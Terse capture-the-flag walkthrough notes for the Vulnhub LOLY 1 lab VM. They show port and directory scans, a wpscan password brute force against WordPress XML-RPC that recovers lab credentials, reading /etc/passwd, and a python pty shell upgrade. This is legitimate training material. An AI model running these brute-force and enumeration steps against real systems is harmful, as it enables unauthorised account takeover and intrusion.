Vulnhub 538 LOLY 1

$ export tip=10.0.2.8  
$ sudo nmap -v -A -p- $tip 
NSE: Loaded 155 scripts for scanning.
Scanning 10.0.2.8 [65535 ports]
Discovered open port 80/tcp on 10.0.2.8
Completed SYN Stealth Scan at 23:39, 1.33s elapsed (65535 total ports)
Host is up (0.00024s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3 (Ubuntu)
MAC Address: 08:00:27:B7:20:81 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ dirsearch -u http://10.0.2.8 
Target: http://10.0.2.8/
[23:40:09] Starting: 
[23:40:31] 200 -    7KB - /wordpress/wp-login.php                           
[23:40:31] 200 -   28KB - /wordpress/
Task Completed

$ dirb http://10.0.2.8/                                 
URL_BASE: http://10.0.2.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
---- Scanning URL: http://10.0.2.8/ ----
==> DIRECTORY: http://10.0.2.8/wordpress/                                         
---- Entering directory: http://10.0.2.8/wordpress/ ----
+ http://10.0.2.8/wordpress/index.php (CODE:301|SIZE:0)    
==> DIRECTORY: http://10.0.2.8/wordpress/wp-admin/  
==> DIRECTORY: http://10.0.2.8/wordpress/wp-content/   
==> DIRECTORY: http://10.0.2.8/wordpress/wp-includes/    
+ http://10.0.2.8/wordpress/xmlrpc.php (CODE:405|SIZE:42)

$ sudo nano /etc/hosts

$ wpscan --url http://loly.lc/wordpress/ -U loly -P /usr/share/wordlists/rockyou.txt    
[+] URL: http://loly.lc/wordpress/ [10.0.2.8]
Interesting Finding(s):
[+] Headers
 | Interesting Entry: Server: nginx/1.10.3 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://loly.lc/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://loly.lc/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://loly.lc/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.5 identified (Insecure, released on 2020-08-11).
 | Found By: Rss Generator (Passive Detection)
 |  - http://loly.lc/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.5</generator>
 | Confirmed By: Emoji Settings (Passive Detection)
 |  - http://loly.lc/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5'

[+] WordPress theme in use: feminine-style
 | Location: http://loly.lc/wordpress/wp-content/themes/feminine-style/
 | Last Updated: 2022-02-16T00:00:00.000Z
 | Readme: http://loly.lc/wordpress/wp-content/themes/feminine-style/readme.txt
 | [!] The version is out of date, the latest version is 3.0.3
 | Style URL: http://loly.lc/wordpress/wp-content/themes/feminine-style/style.css?ver=5.5
 | Style Name: Feminine Style
 | Style URI: https://www.acmethemes.com/themes/feminine-style
 | Description: Feminine Style is a voguish, dazzling and very appealing WordPress theme. The theme is completely wo...
 | Author: acmethemes
 | Author URI: https://www.acmethemes.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://loly.lc/wordpress/wp-content/themes/feminine-style/style.css?ver=5.5, Match: 'Version: 1.0.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] adrotate
 | Location: http://loly.lc/wordpress/wp-content/plugins/adrotate/
 | Last Updated: 2022-07-20T01:45:00.000Z
 | [!] The version is out of date, the latest version is 5.8.26
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 5.8.6.2 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://loly.lc/wordpress/wp-content/plugins/adrotate/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=============================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - loly / fernando                                                               
[!] Valid Combinations Found:
 | Username: loly, Password: fernando

$ cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
loly:x:1000:1000:sun,,,:/home/loly:/bin/bash

$ whereis python
python: /usr/bin/python3.5 /usr/bin/python3.5m /usr/lib/python2.7 /usr/lib/python3.5 /etc/python3.5 /usr/local/lib/python3.5
$ python3.5  -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/tmp$